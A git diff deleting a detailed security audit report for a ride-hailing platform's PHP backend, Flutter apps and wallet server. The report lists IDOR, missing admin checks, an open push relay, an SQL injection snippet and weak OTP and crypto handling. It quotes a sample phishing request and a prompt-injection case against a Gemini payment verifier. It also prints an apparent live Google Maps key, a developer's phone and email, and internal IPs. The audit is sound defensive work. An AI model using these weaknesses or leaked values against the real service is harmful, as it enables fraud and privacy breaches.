diff --git a/COMPREHENSIVE_SECURITY_AUDIT_FINAL.md b/COMPREHENSIVE_SECURITY_AUDIT_FINAL.md deleted file mode 100644 index 79de69d..0000000 --- a/COMPREHENSIVE_SECURITY_AUDIT_FINAL.md +++ /dev/null @@ -1,1020 +0,0 @@ -# Siro Ride-Hailing Platform — Comprehensive Security Audit Report - -**Audit Date:** June 17, 2026 -**Scope:** Full-stack audit (PHP backend, 4 Flutter apps, wallet server, Android manifests, infrastructure) -**Methodology:** Static code analysis (Semgrep), dynamic scanning (Nuclei), AI-assisted code review, manual penetration testing methodology - ---- - -## 📊 Executive Summary - -This audit identified **76+ security vulnerabilities** across the Siro platform, including **26 critical**, **32 high**, **14 medium**, and **4 low** severity issues. The most severe systemic problems are: - -| # | Issue | Impact | Risk Level | -|---|-------|--------|------------| -| 1 | **Live secrets committed to Git** (`.env` files, RSA private keys) | Complete system compromise | 🔴 **CRITICAL** | -| 2 | **Pervasive IDOR** — 90% of endpoints ignore JWT identity | Any user can act as any other user | 🔴 **CRITICAL** | -| 3 | **Zero role checks on admin endpoints** | Any passenger can access admin functions | 🔴 **CRITICAL** | -| 4 | **Unauthenticated FCM relay** | Spam/phish all app users | 🔴 **CRITICAL** | -| 5 | **Unauthenticated payment webhooks** | Create money out of thin air | 🔴 **CRITICAL** | -| 6 | **RSA private keys in source code** | Payment integration compromised | 🔴 **CRITICAL** | -| 7 | **FCM private key in client app** | Impersonate server to all devices | 🔴 **CRITICAL** | -| 8 | **PCI DSS violation** — CVV storage in app | Legal liability, fines | 🔴 **CRITICAL** | -| 9 | **SQL injection** in payment update | Full database compromise | 🔴 **CRITICAL** | -| 10 | **Weak OTP** — 3-digit, `rand()`, no rate limiting | Account takeover | 🔴 **CRITICAL** | - ---- - -## 🔴 SECTION 1: CRITICAL VULNERABILITIES (26) - -### C-01: Live Secrets Committed to Git (P1) - -**Files:** `siro_admin/.env`, `siro_service/.env`, `backend/.env.example` - -**Severity:** CRITICAL - -**Details:** Both `siro_admin/.env` and `siro_service/.env` contain live production secrets including: -- `privateKeyFCM` — Firebase Cloud Messaging private key (server-only credential) -- `basicAuthCredentials` — Basic auth credentials for internal services -- `mapAPIKEY` (`AIzaSyCFsWBqvkXzk1Gb-bCGxwqTwJQKIeHjH64`) — Google Maps API key -- `authTokenTwillo` — Twilio authentication token -- `chatGPTkey`, `chatGPTkeySefer`, `chatGPTkeySeferNew` — OpenAI API keys -- `geminiApi`, `geminiApiMasa` — Google Gemini API keys -- `secretKey` — Application JWT/encryption secret -- `payPalClientIdLive`, `payPalSecretLive` — PayPal live credentials -- `payMobApikey`, `usernamePayMob`, `passwordPayMob` — Payment gateway credentials -- `agoraAppId`, `agoraAppCertificate` — Agora voice/video credentials -- `whatsapp` — WhatsApp Business API access token -- `claudeAiAPI`, `anthropicAIkeySeferNew` — Anthropic Claude API keys -- `llamaKey`, `llama3Key` — LLM API keys -- `cohere`, `visionApi` — Additional AI API keys -- `stripe_publishableKe` — Stripe publishable key -- `keyOfApp`, `initializationVector` — Encryption key/IV -- Private Firebase service account key (embedded in `privateKeyFCM`) - -**Impact:** Any attacker with repo access has full API access to 15+ external services, can send SMS/Twilio messages, send push notifications, charge PayPal accounts, and decrypt the entire application database. - -**No `.gitignore` file exists**, meaning all these files are tracked by Git. - ---- - -### C-02: RSA Private Keys in Repository (P1) - -**Files:** -- `walletintaleq.intaleq.xyz/v2/main/ride/mtn/driver/private_key.pem` -- `walletintaleq.intaleq.xyz/v2/main/ride/mtn/passenger/private_key.pem` -- `walletintaleq.intaleq.xyz/v2/main/ride/mtn/driver/public_key.pem` -- `walletintaleq.intaleq.xyz/v2/main/ride/mtn/passenger/public_key.pem` - -**Severity:** CRITICAL - -**Details:** RSA private keys for MTN mobile money integration are committed to the Git repository. Driver and passenger keys are identical. Anyone with repo access can: -- Decrypt MTN API traffic -- Forge payment confirmations -- Impersonate the payment terminal to MTN's API -- Sign arbitrary requests - -**Fix:** Remove keys from repo immediately, rotate keys on MTN side, use a secrets manager (AWS Secrets Manager, HashiCorp Vault). - ---- - -### C-03: Pervasive IDOR — JWT Identity Ignored Across All Endpoints (P1) - -**Files (representative sample):** -- `backend/ride/rides/add_ride.php` — `$passenger_id` from POST, not JWT -- `backend/ride/rides/acceptRide.php` — `$driverId` from POST, not JWT -- `backend/ride/rides/finish_ride_updates.php` — `$driver_id`, `$passengerId` from POST -- `backend/ride/cancelRide/add.php` — `$driverID`, `$passengerID` from POST -- `backend/ride/rate/add.php` — `$passenger_id`, `$driverID`, `$rideId` from POST -- `backend/ride/rate/addRateToDriver.php` — `$passenger_id`, `$driver_id` from POST -- `backend/ride/invitor/add.php` — `$driverId` from POST -- `backend/ride/invitor/claim.php` — `$driverId`, `$passengerId` from POST -- `backend/uploadImagePortrate.php` — `$driverID` from POST -- `backend/ride/driverWallet/add.php` — `$driverId` from POST -- `walletintaleq.intaleq.xyz/v2/main/ride/passengerWallet/add.php` — `$passenger_id` from POST -- `walletintaleq.intaleq.xyz/v2/main/ride/payment/updatePaymetToPaid.php` — `$driverID` from POST - -**Severity:** CRITICAL - -**Impact:** While `connect.php` properly authenticates users via JWT and populates `$user_id` and `$role`, almost every downstream endpoint ignores these and reads user identifiers from request parameters. This means: -1. Any authenticated user can create rides as any passenger -2. Any user can accept rides as any driver -3. Any user can finish rides for any driver/passenger pair -4. Any user can overwrite any driver's profile image -5. Any user can submit ratings for any driver/passenger/ride -6. Any user can claim referral rewards for any driver -7. Any user can credit/debit any wallet - -**This is the single most critical architectural flaw in the application.** - ---- - -### C-04: No Role-Based Access Control on Admin Endpoints (P1) - -**Files:** -- `backend/Admin/AdminCaptain/get.php` — Returns ALL drivers with full PII + FCM tokens -- `backend/Admin/rides/admin_get_rides_by_phone.php` — Returns any user's ride history -- `backend/Admin/rides/monitorRide.php` — Live GPS tracking of any driver -- `backend/Admin/passenger/admin_delete_and_blacklist_passenger.php` — Delete any passenger -- `backend/Admin/passenger/admin_update_passenger.php` — Modify any passenger's data -- `backend/Admin/ride/AdminRide/get.php` — View any ride details -- `backend/Admin/send_whatsapp_message.php` — Send WhatsApp via company account -- `backend/Admin/errorApp.php` — Inject arbitrary error records - -**Severity:** CRITICAL - -**Details:** These endpoints include `connect.php` (JWT auth) but **never check `$role`**. Any authenticated user — passenger, driver, service — can access all admin functions. Only `dashbord.php` enforces a role check. - -**Impact:** A passenger can: -- Enumerate all captains' personal data and device tokens -- Look up any phone number's ride history -- Live-track any driver's GPS position in real-time -- Delete and blacklist any passenger account -- Send WhatsApp messages at company expense - ---- - -### C-05: Unauthenticated FCM Push Notification Relay (P1) - -**File:** `backend/ride/firebase/send_fcm.php` - -**Severity:** CRITICAL - -**Details:** This endpoint has **zero authentication** — no JWT, no API key, no IP restriction. Anyone on the internet can send arbitrary push notifications to any FCM token or topic. - -**Impact:** -- Send phishing notifications to all app users -- Impersonate the Siro app with fake messages -- Drain FCM quota -- Send malicious data payloads to trigger app actions - -**Attack Vector:** `POST /ride/firebase/send_fcm.php` with body `{"target": "", "title": "Phishing", "body": "Click here"}` - ---- - -### C-06: Unauthenticated Payment Webhooks (Wallet) (P1) - -**Files:** -- `walletintaleq.intaleq.xyz/v2/main/ride/shamcash/save_transactions.php` -- `walletintaleq.intaleq.xyz/v2/main/ride/shamcash/save_transactions_new.php` - -**Severity:** CRITICAL - -**Details:** ShamCash payment webhooks process incoming payment notifications and credit user wallets. They have **zero authentication** — no HMAC signature, no API key, no IP allowlist. The `jwtconnect.php` is included but its failure is silently ignored (`if(isset($con)) break;`). - -**Impact:** Anyone who discovers the URL can POST fake transactions and trigger automatic wallet deposits with bonuses — effectively creating money. - ---- - -### C-07: FCM Private Key in Client Apps (P1) - -**File:** `siro_driver/lib/env/env.dart` (and rider, admin equivalents) - -**Severity:** CRITICAL - -**Details:** The Firebase Cloud Messaging private key is included in all Flutter client apps via the `envied` package with `obfuscate: true`. The `envied` obfuscation is XOR-at-compile-time and trivially reversible — the generated `env.g.dart` contains both the XOR key and ciphertext. - -**Impact:** Extraction enables sending arbitrary push notifications impersonating the server, phishing users, or triggering malicious actions in-app. FCM private keys are server-only credentials and must never be in client apps. - ---- - -### C-08: PCI DSS Violation — Credit Card Data in Client App (P1) - -**File:** `siro_driver/lib/constant/box_name.dart` (Lines 87-94) - -**Severity:** CRITICAL - -**Details:** Storage keys for `cardNumber`, `cvvCode`, and `expiryDate` are defined in the app. Storing CVV post-authorization violates PCI DSS Requirement 3.2. Even with FlutterSecureStorage, CVV must never be retained after authorization. - ---- - -### C-09: SQL Injection in Payment Status Update (P1) - -**File:** `walletintaleq.intaleq.xyz/v2/main/ride/payment/updatePaymetToPaid.php` (Line 7) - -**Severity:** CRITICAL - -**Code:** -```php -$sql = "UPDATE `payments` SET `isGiven`='Paid' WHERE driverID='$driverID'"; -``` - -**Details:** `$driverID` from `filterRequest()` is interpolated directly into SQL string. Despite using `prepare()/execute()`, the SQL is fully concatenated with user input, making `prepare()` useless. - -**Impact:** Full database compromise — read/write any table including payment records, user credentials, wallet balances. - ---- - -### C-10: OTP Weaknesses (P1) - -**Files:** -- `backend/auth/token_passenger/send_otp.php` — Uses `rand(100, 999)` (3-digit, predictable) -- `backend/auth/otp/request.php` — Uses `random_int(0, 999)` with `str_pad` to 3 digits -- `backend/auth/token_passenger/verify_otp.php` — No rate limiting - -**Severity:** CRITICAL - -**Details:** -1. `rand()` is a linear congruential generator — cryptographically predictable -2. 3-digit OTP = only 1000 combinations -3. No rate limiting on `token_passenger` endpoints -4. Loose comparison (`==`) in OTP verification enables type juggling - -**Impact:** OTP brute-forceable within hours. Complete account takeover. - ---- - -### C-11: JWT Parsed Without Signature Verification (Auth) (P1) - -**Files:** -- `backend/auth/otp/request.php:22-31` -- `backend/auth/otp/verify.php:26-36` - -**Severity:** CRITICAL - -**Details:** The JWT Authorization header is base64-decoded (not verified) and the `role` claim is extracted WITHOUT signature verification. Any attacker can craft a fake JWT with any role. - -**Impact:** Privilege escalation — impersonate any user type without a valid token. - ---- - -### C-12: Storage Backend Mismatch — OTP Verification Always Fails (P1) - -**Files:** -- `backend/auth/token_passenger/send_otp.php:60-69` — Writes OTP to MySQL -- `backend/auth/token_passenger/verify_otp.php:31` — Reads OTP from Redis - -**Severity:** CRITICAL (Authentication Broken) - -**Details:** OTP is stored in MySQL table `token_verification` but verification reads from Redis key `otp:passenger:{phone}`. Different storage backends means verification **always fails**. Legitimate users cannot verify their OTP. - ---- - -### C-13: Debug Endpoint with Encryption Oracle + Weak Auth (P1) - -**File:** `backend/Admin/debug/ggg.php` - -**Severity:** CRITICAL - -**Details:** This debug endpoint: -- Does NOT use JWT auth (uses custom `connect.php` include with CWD-dependent relative path) -- Auth is gated only by `admin_phone` parameter matching `ADMIN_PHONE_NUMBERS` env var -- Provides arbitrary encryption/decryption oracle via `$encryptionHelper` - -**Impact:** Complete compromise of encryption-at-rest. Attacker can decrypt all PII and encrypt malicious payloads. - ---- - -### C-14: Driver Token Retrieval Without Auth Check (P1) - -**File:** `backend/Admin/AdminCaptain/get.php` - -**Severity:** CRITICAL - -**Details:** Returns all captain records including FCM device tokens from `driverToken` table. No role check. FCM tokens enable account impersonation via push notifications. - ---- - -### C-15: Ride History + Live GPS Tracking Without Auth Check (P1) - -**Files:** -- `backend/Admin/rides/admin_get_rides_by_phone.php` -- `backend/Admin/rides/monitorRide.php` - -**Severity:** CRITICAL - -**Details:** -- `admin_get_rides_by_phone.php` — Returns full ride history for ANY phone number -- `monitorRide.php` — Returns live GPS coordinates (lat, lng, speed, heading) of any driver - -No role check on either endpoint. - ---- - -### C-16: Admin Debug Endpoints in Production (P1) - -**Directory:** `backend/Admin/debug/` (10+ files) - -**Severity:** CRITICAL - -**Details:** Contains scripts for: database connection testing, Redis connection testing, phone debugging, environment variable dumping. Protected only by `.htaccess` (Apache-specific). If server uses nginx/Caddy, all are publicly accessible. - ---- - -### C-17: Wallet Balance Deduction Without Sufficient Balance Check (P1) - -**File:** `walletintaleq.intaleq.xyz/v2/main/ride/payment/process_ride_payments.php:81-94` - -**Severity:** CRITICAL - -**Details:** Passenger wallet is debited via negative ledger entry with NO query checking if the passenger has sufficient balance. No `SELECT ... FOR UPDATE` row lock. - -**Impact:** Passengers can drive wallets arbitrarily negative. Race-condition double deduction. - ---- - -### C-18: Missing FOR UPDATE Row Locks in Payment Processing (P1) - -**File:** `walletintaleq.intaleq.xyz/v2/main/ride/payment/process_ride_payments.php:60-130` - -**Severity:** CRITICAL - -**Details:** Uses `beginTransaction/commit` but never `SELECT ... FOR UPDATE`. Concurrent requests can interleave, enabling race-condition exploitation. - ---- - -### C-19: Client-Controlled Debt/Amount in Payment Processing (P1) - -**File:** `walletintaleq.intaleq.xyz/v2/main/ride/payment/process_ride_payments.php:44` - -**Severity:** CRITICAL - -**Code:** `$passengerWalletBurc = filterRequest("passengerWalletBurc");` - -**Details:** Debt settlement amount is provided by the caller (S2S). If the S2S caller is compromised, attacker can settle any amount. - ---- - -### C-20: Race Condition in ShamCash Transaction Processing (P1) - -**Files:** -- `walletintaleq.intaleq.xyz/v2/main/ride/shamcash/save_transactions.php:45-46` -- `walletintaleq.intaleq.xyz/v2/main/ride/shamcash/save_transactions_new.php:54-55` - -**Severity:** CRITICAL - -**Details:** Transaction deduplication uses file-based counter (`last_id.txt`) with no atomic locking. Under concurrent requests, the same transaction can trigger two wallet deposits. - -**Impact:** Double-spend — create money. - ---- - -### C-21: Encryption Oracle in Client-Side Crypto (P1) - -**Files:** `siro_admin/.env`, `siro_driver/.env`, all `char_map.dart`, `encrypt_decrypt.dart` - -**Severity:** CRITICAL - -**Details:** Custom substitution cipher (a=q, b=x, c=f, etc.) is used for "encryption." The substitution tables, obfuscation algorithm, and delimiter (`BlBlNl`) are all in source code. The `envied` XOR-based obfuscation is trivially reversible. - -**Impact:** All 40+ API keys, credentials, and secrets in the Flutter apps are extractable from the binary via static analysis. - ---- - -### C-22: Static IV in AES-CBC Encryption (P1) - -**Files:** -- `walletintaleq.intaleq.xyz/v2/main/encrypt_decrypt.php` — Static IV from env -- `siro_admin/lib/controller/functions/encrypt_decrypt.dart` — Static IV per env - -**Severity:** CRITICAL - -**Details:** AES-CBC with a static, never-changing IV makes encryption deterministic. Same plaintext always produces same ciphertext. Enables chosen-plaintext attacks. - -**Impact:** All encrypted data (phone numbers, names, emails) is recoverable via known-plaintext attacks. - ---- - -### C-23: Webhook Token Bypass — Any Non-Empty Token Works (P1) - -**File:** `walletintaleq.intaleq.xyz/v2/main/jwtconnect.php:96-103` - -**Severity:** CRITICAL - -**Code:** -```php -$webhookToken = $_SERVER['HTTP_X_AUTH_TOKEN'] ?? ''; -if (!empty($webhookToken)) { - $authMethod = 'WEBHOOK'; -``` - -**Details:** Any non-empty `X-Auth-Token` header bypasses JWT authentication entirely. No validation of token value — only existence check. - ---- - -### C-24: `siro_service` App Has `allowBackup=true` (Default) - -**File:** `siro_service/android/app/src/main/AndroidManifest.xml` - -**Severity:** HIGH - -**Details:** `android:allowBackup` not explicitly set — defaults to `true`. App data (tokens, keys, database) can be backed up via `adb`, enabling data exfiltration. - ---- - -### C-25: OTP Replay Attack — No `verified` Status Check - -**File:** `backend/auth/otp/verify.php` - -**Severity:** HIGH - -**Details:** SELECT queries don't check `verified = 0`. After first successful verification, same OTP can be reused within expiration window. - ---- - -### C-26: `rand()` for OTP Generation Instead of `random_int()` - -**File:** `backend/auth/token_passenger/send_otp.php:6` - -**Severity:** HIGH - -**Details:** `$otp = (string)rand(100, 999)` uses PHP's `rand()` which is a linear congruential generator. OTPs are cryptographically predictable. - ---- - -## 🟠 SECTION 2: HIGH VULNERABILITIES (32) - -### H-01: Missing `.gitignore` — All Secrets Tracked by Git - -**File:** Root directory — `.gitignore` does not exist - -**Severity:** HIGH - -**Impact:** Every file in the repository is tracked. `.env` files, PEM keys, and secrets are permanently in Git history. - ---- - -### H-02: Host Header Injection in Upload Endpoints - -**Files:** -- `backend/uploadImagePortrate.php:50-52` -- `backend/upload_audio.php:62-64` - -**Severity:** HIGH - -**Code:** `$host = $_SERVER['HTTP_HOST'] ?? 'api.siromove.com';` - -**Impact:** Attacker-controlled Host header generates URLs pointing to attacker servers. Enables SSRF or open redirect. - ---- - -### H-03: Log Injection / Log Forging - -**File:** `backend/Admin/errorApp.php:13` - -**Severity:** HIGH - -**Impact:** User-controlled input written directly to logs without sanitization. CRLF injection enables fake log entries. - ---- - -### H-04: Information Disclosure — Hardcoded Internal IPs and Paths - -**Files:** -- `backend/functions.php:23-34` — Internal IPs (`http://188.68.36.205:2021`, etc.) -- `backend/encrypt_decrypt.php:7` — `/home/siro-api/env/.env` -- `backend/core/helpers.php:230` — `/home/siro-api/.internal_socket_key` -- `walletintaleq.intaleq.xyz/v2/main/loginWalletAdmin.php:5` — `/home/intaleq-wallet/env/.env` -- `walletintaleq.intaleq.xyz/v2/main/encrypt_decrypt.php:6` — `/home/intaleq-walletintaleq/env/.env` - -**Severity:** HIGH - -**Impact:** Internal network topology and filesystem paths exposed. Aids targeted attacks. - ---- - -### H-05: User Enumeration via Distinct Error Messages - -**Files:** -- `backend/auth/signup.php:38` — "already registered" vs success -- `backend/auth/login.php:53,61` — "User does not exist" vs "Incorrect password" -- `walletintaleq.intaleq.xyz/v2/main/loginWalletAdmin.php:72-85` — "User not found" vs "Invalid credentials" - -**Severity:** HIGH - -**Impact:** Attacker can enumerate valid phone numbers, emails, and admin usernames. - ---- - -### H-06: User-Supplied Primary Key (`id` field) - -**File:** `backend/auth/signup.php:14,49` - -**Severity:** HIGH - -**Impact:** Client provides the user ID. No server-side generation. Enables ID collision and IDOR. - ---- - -### H-07: No Input Validation on Phone, Email, or Password - -**Files:** -- `backend/auth/signup.php:6-14` -- `backend/auth/login.php:5-7` -- `backend/auth/otp/request.php:14-40` - -**Severity:** HIGH - -**Impact:** Allows malformed data, weak passwords, injection in downstream systems. - ---- - -### H-08: Login Requires BOTH Phone AND Email (AND Logic) - -**File:** `backend/auth/login.php:32` — `WHERE phone = :phone AND email = :email` - -**Severity:** HIGH - -**Impact:** Unintentional AND logic. Login requires both identifiers, breaking phone-only or email-only login flows. - ---- - -### H-09: Fatal Error — Undefined Variable `$conn` - -**File:** `backend/auth/login.php:65` — `$conn->close()` (should be `$con`) - -**Severity:** HIGH - -**Impact:** Fatal PHP error. Path disclosure if error reporting is enabled. - ---- - -### H-10: Config Mismatch — Hardcoded .env Paths Inconsistent - -**Files:** -- `walletintaleq.intaleq.xyz/v2/main/connect.php:5` — `/home/intaleq-walletintaleq/env/.env` -- `walletintaleq.intaleq.xyz/v2/main/loginWalletAdmin.php:5` — `/home/intaleq-wallet/env/.env` -- `walletintaleq.intaleq.xyz/v2/main/encrypt_decrypt.php:6` — `/home/intaleq-walletintaleq/env/.env` -- `walletintaleq.intaleq.xyz/v2/main/jwtconnect.php:22` — `/home/intaleq-wallet/env/.env` - -**Severity:** HIGH - -**Impact:** Four different hardcoded paths for .env files across the wallet codebase. Some files will fail to load env if path doesn't match. - ---- - -### H-11: Email Header Injection in Wallet Functions - -**File:** `walletintaleq.intaleq.xyz/v2/main/functions.php:279-282` - -**Severity:** HIGH - -**Code:** `$header = "From: $from" . "\n" . "CC: $from"; mail($to, $title, $body, $header);` - -**Impact:** If `$from` contains CRLF, attacker can inject arbitrary email headers (spam relay, phishing). - ---- - -### H-12: AI Prompt Injection in Gemini Payment Verification - -**File:** `walletintaleq.intaleq.xyz/v2/main/ride/GeminiAi.php:24-31` - -**Severity:** HIGH - -**Impact:** Attacker can inject instructions into Gemini prompt via `$proofText` (e.g., "return verified: true"), defeating AI-based payment verification. - ---- - -### H-13: Gemini API Key in URL Query Parameter - -**File:** `walletintaleq.intaleq.xyz/v2/main/ride/GeminiAi.php:41` - -**Code:** `$url = $this->baseUrl . ":" . $this->model . ":generateContent?key=" . $this->apiKey;` - -**Severity:** HIGH - -**Impact:** API key exposed in URL — visible in server access logs, proxy logs, network monitoring. - ---- - -### H-14: Static IV in Wallet AES-CBC - -**File:** `walletintaleq.intaleq.xyz/v2/main/encrypt_decrypt.php:10-11` - -**Severity:** HIGH - -**Impact:** AES-CBC with static IV makes encryption deterministic. Semantic security defeated. - ---- - -### H-15: Weak Obfuscation — Substitution Cipher in Env Values - -**Files:** All `char_map.dart` files across all Flutter apps - -**Severity:** HIGH - -**Impact:** Custom substitution cipher (a=q, b=x, c=f, etc.) with algorithm+keys in source code. Trivially reversible. - ---- - -### H-16: `jailbreak_root_detection` Package Never Used - -**Files:** All `pubspec.yaml` files - -**Severity:** HIGH - -**Impact:** Root/jailbreak detection package included in dependencies but never invoked. Provides false sense of security. - ---- - -### H-17: No SSL/TLS Certificate Pinning - -**Files:** All Flutter apps - -**Severity:** HIGH - -**Impact:** All API traffic vulnerable to MITM on hostile networks. `dio` configured without pinning. - ---- - -### H-18: Hardcoded Developer PII in Production Apps - -**Files:** All `constant/info.dart` files - -**Severity:** HIGH - -**Details:** `phoneNumber = '962798583052'`, `email = 'hamzaayed@intaleqapp.com'`, LinkedIn profile hardcoded in all production binaries. - ---- - -### H-19: `siro_service` App — Cleartext Traffic Not Explicitly Disabled - -**File:** `siro_service/android/app/src/main/AndroidManifest.xml` - -**Severity:** HIGH - -**Impact:** `android:usesCleartextTraffic` not set. On API < 28, cleartext HTTP may be permitted. - ---- - -### H-20: Missing CSRF Protection on All Auth Endpoints - -**Files:** All auth endpoints - -**Severity:** HIGH - -**Impact:** No CSRF tokens, SameSite cookies, or Origin/Referer validation. Vulnerable to cross-origin request forgery. - ---- - -### H-21: Shared Rate Limit Counter Between OTP Request and Verify - -**Files:** -- `backend/auth/otp/request.php:11` -- `backend/auth/otp/verify.php:10` - -**Severity:** HIGH - -**Impact:** Both request and verify use same rate limit context key `'otp'`. Requesting OTPs consumes verification attempts and vice versa. - ---- - -### H-22: Payment Amount Not Validated (Zero/Negative) - -**File:** `walletintaleq.intaleq.xyz/v2/main/ride/payment/process_ride_payments.php:66-69` - -**Severity:** HIGH - -**Impact:** No min/max validation. Negative payment amounts could reverse charges. - ---- - -### H-23: Type Juggling in OTP Verification (Loose Comparison) - -**File:** `backend/auth/token_passenger/verify_otp.php:33` — `$cachedOtp == $otp` - -**Severity:** HIGH - -**Impact:** PHP type juggling can bypass verification (e.g., "0e123" vs "0e456"). - ---- - -### H-24: LEFT JOIN on Encrypted Email Will Never Match - -**File:** `backend/auth/login.php:30` - -**Severity:** HIGH - -**Impact:** `LEFT JOIN email_verifications ON email_verifications.email = passengers.email` — email is AES-encrypted. Join predicate never true. Email verification status always NULL. - ---- - -### H-25: Plaintext Phone Number Stored in adminUser Table - -**File:** `backend/auth/otp/verify.php:88,93,97` - -**Severity:** HIGH - -**Impact:** Phone numbers stored unencrypted in adminUser table while all other tables use AES encryption. - ---- - -### H-26: JSON_UNESCAPED_UNICODE Allows XSS via JSON - -**Files:** Various endpoints using `JSON_UNESCAPED_UNICODE` - -**Severity:** HIGH - -**Impact:** Characters `<` and `>` pass through unchanged in JSON responses. If admin panel renders as innerHTML, XSS is possible. - ---- - -### H-27: No SSL Verification on Any cURL Call - -**Files:** All MTN, ShamCash, and payment integration files - -**Severity:** HIGH - -**Impact:** `CURLOPT_SSL_VERIFYPEER` and `CURLOPT_SSL_VERIFYHOST` not set. All outbound HTTP vulnerable to MITM. - ---- - -### H-28: Broken Crypto — `openssl_sign` with String Instead of Key Resource - -**File:** `walletintaleq.intaleq.xyz/v2/main/ride/mtn/driver/initiate_payment.php:25` - -**Severity:** HIGH - -**Impact:** PEM string passed directly to `openssl_sign()` which expects key resource. Signature silently fails (null), breaking MTN payment flow. - ---- - -### H-29: Hardcoded Payment Token Secrets - -**Files:** Multiple ShamCash and MTN finalize files - -**Severity:** HIGH - -**Impact:** Token generation uses hardcoded strings (`'shamcash_secret'`, `'default_secret'`) concatenated with predictable values. Tokens can be predicted/forged. - ---- - -### H-30: IDOR on Invoice Creation — No Ownership Check - -**Files:** -- `walletintaleq.intaleq.xyz/v2/main/ride/shamcash/create_invoice_shamcash.php:8` -- `walletintaleq.intaleq.xyz/v2/main/ride/shamcash/passenger/create_invoice.php:7` - -**Severity:** HIGH - -**Impact:** Any authenticated user can create invoices for any driver/passenger. - ---- - -### H-31: Mass Data Exposure — All Device Fingerprints - -**File:** `backend/migration/get_all_fingerprints.php` - -**Severity:** HIGH - -**Impact:** Exposes all device fingerprints without pagination or rate limiting. Single static key (`MIGRATION_ADMIN_KEY`) is the only gate. - ---- - -### H-32: Unauthenticated `send_fcm.php` — Debug Application - -**File:** `backend/ride/firebase/send_fcm.php` - -**Severity:** HIGH - -**Impact:** No authentication. Open FCM relay enables phishing all app users. - ---- - -## 🟡 SECTION 3: MEDIUM VULNERABILITIES (14) - -### M-01: `UCropActivity` Not Explicitly Unexported - -**File:** `siro_rider/android/app/src/main/AndroidManifest.xml` - -**Severity:** MEDIUM - -### M-02: Custom URI Scheme Without Host Validation - -**Files:** `siro_driver`, `siro_rider` manifests — `siromove://` scheme without host restriction - -**Severity:** MEDIUM - -### M-03: `WRITE_EXTERNAL_STORAGE` Without `maxSdkVersion` - -**Files:** `siro_driver`, `siro_rider` manifests - -**Severity:** MEDIUM - -### M-04: `BackgroundService` Exported with Location Type - -**File:** `siro_driver/android/app/src/main/AndroidManifest.xml` - -**Severity:** MEDIUM - -### M-05: Empty `taskAffinity` on Admin App - -**File:** `siro_admin/android/app/src/main/AndroidManifest.xml` - -**Severity:** MEDIUM (Task hijacking risk) - -### M-06: Debug Logging of JWT Payloads - -**File:** `walletintaleq.intaleq.xyz/v2/main/functions.php:29-181` - -**Severity:** MEDIUM - -### M-07: PDO Exception Messages Leaked to Client - -**Files:** `backend/ride/invitor/add.php:55,86`, various others - -**Severity:** MEDIUM - -### M-08: Sensitive Data in Error Logs - -**Files:** Multiple wallet files — phone numbers, invoice numbers, GUIDs in logs - -**Severity:** MEDIUM - -### M-09: MethodChannel Without Origin Validation - -**File:** `siro_driver/lib/main.dart:44` - -**Severity:** MEDIUM - -### M-10: API Key Download Without Client-Side Signature Verification - -**File:** `siro_driver/lib/constant/credential.dart:13-35` - -**Severity:** MEDIUM - -### M-11: Token Expiration Missing on Payment Tokens - -**Files:** Multiple wallet files - -**Severity:** MEDIUM - -### M-12: Loose Comparison in Bonus Calculation - -**Files:** Multiple MTN/ShamCash files - -**Severity:** MEDIUM - -### M-13: `GetStorage` for Sensitive Data Instead of `FlutterSecureStorage` - -**Files:** All Flutter apps' `main.dart` - -**Severity:** MEDIUM - -### M-14: Exception Message Leak in Wallet Admin Registration - -**File:** `backend/Admin/auth/register.php:83` - -**Severity:** MEDIUM - ---- - -## 🟢 SECTION 4: LOW VULNERABILITIES (4) - -### L-01: Payment Token Replay (Stale Tokens) - -**Files:** Multiple wallet files - -**Severity:** LOW - -### L-02: CORS Misconfiguration on ShamCash Webhook - -**File:** `walletintaleq.intaleq.xyz/v2/main/ride/shamcash/save_transactions.php:6` - -**Severity:** LOW - -### L-03: Padding Oracle Potential (Wallet CBC) - -**File:** `walletintaleq.intaleq.xyz/v2/main/encrypt_decrypt.php:48-71` - -**Severity:** LOW - -### L-04: Dead Code — `$hashed_password` Computed but Never Used - -**File:** `backend/auth/login.php:10` - -**Severity:** LOW - ---- - -## 🔍 SECTION 5: AUTOMATED SCAN RESULTS - -### Semgrep Results - -| Tool | Files Scanned | Rules | Findings | -|------|--------------|-------|----------| -| Semgrep (Backend) | 448 | 180 | 3 (XSS) | -| Semgrep (Wallet) | 159 | 33 | 4 (XSS, Host injection) | -| Semgrep Deep | 601 | 129 | 5 (Cross-cutting) | - -### Nuclei Results - -Targets: `api.siromove.com`, `walletintaleq.intaleq.xyz`, `siromove.com` -- `api.siromove.com` — DNS not resolving (offline/unreachable) -- `siromove.com` — DNS not resolving (offline/unreachable) -- `walletintaleq.intaleq.xyz` — Reachable, no template matches found (standard Nuclei templates) - ---- - -## 🏗️ SECTION 6: ARCHITECTURAL ISSUES - -### A-01: No Centralized Authorization Layer -Every endpoint implements its own auth checks (or none). No middleware for role-based access control. - -### A-02: Inconsistent Authentication Patterns -- Some endpoints use `connect.php` (JWT + rate limiting + fingerprint) -- Some use `jwtconnect.php` (JWT with webhook bypass) -- Some use custom auth (phone-based, key-based) -- Some have no auth at all - -### A-03: No Input Validation Layer -No centralized input sanitization, validation, or typed request objects. Every endpoint parses raw `$_POST` / `$_GET` / `php://input` manually. - -### A-04: Secret Management MIA -No secrets manager. Secrets stored in: -- `.env` files committed to Git -- PEM files committed to Git -- Flutter app binaries (extractable via reverse engineering) - -### A-05: No Audit Logging -No centralized audit trail for sensitive operations (admin actions, payment modifications, account deletions). - -### A-06: No Rate Limiting on Sensitive Endpoints -Admin endpoints, payment processing, and token_passenger OTP have no rate limiting. - ---- - -## 📋 SECTION 7: REMEDIATION PRIORITIES - -### Phase 1 — Immediate (24 hours) - -| Priority | Vulnerability | Action | -|----------|--------------|--------| -| P1 | C-01: Live secrets in repo | Rotate ALL secrets, add `.gitignore`, purge Git history | -| P1 | C-02: RSA keys in repo | Remove keys, rotate with MTN, use secrets manager | -| P1 | C-07: FCM key in client | Remove from client, move to server-side only | -| P1 | C-08: CVV storage | Remove CVV handling immediately | -| P1 | C-05: Open FCM relay | Add authentication or remove endpoint | -| P1 | C-06: Unauthenticated webhooks | Add HMAC/API key verification | -| P1 | C-09: SQL injection | Fix parameterized query | -| P1 | C-16: Debug endpoints | Remove or firewall-protect | - -### Phase 2 — Short-term (7 days) - -| Priority | Vulnerability | Action | -|----------|--------------|--------| -| P1 | C-03: Pervasive IDOR | Fix all endpoints to validate JWT user_id == request user_id | -| P1 | C-04: Admin role checks | Add role validation to all admin endpoints 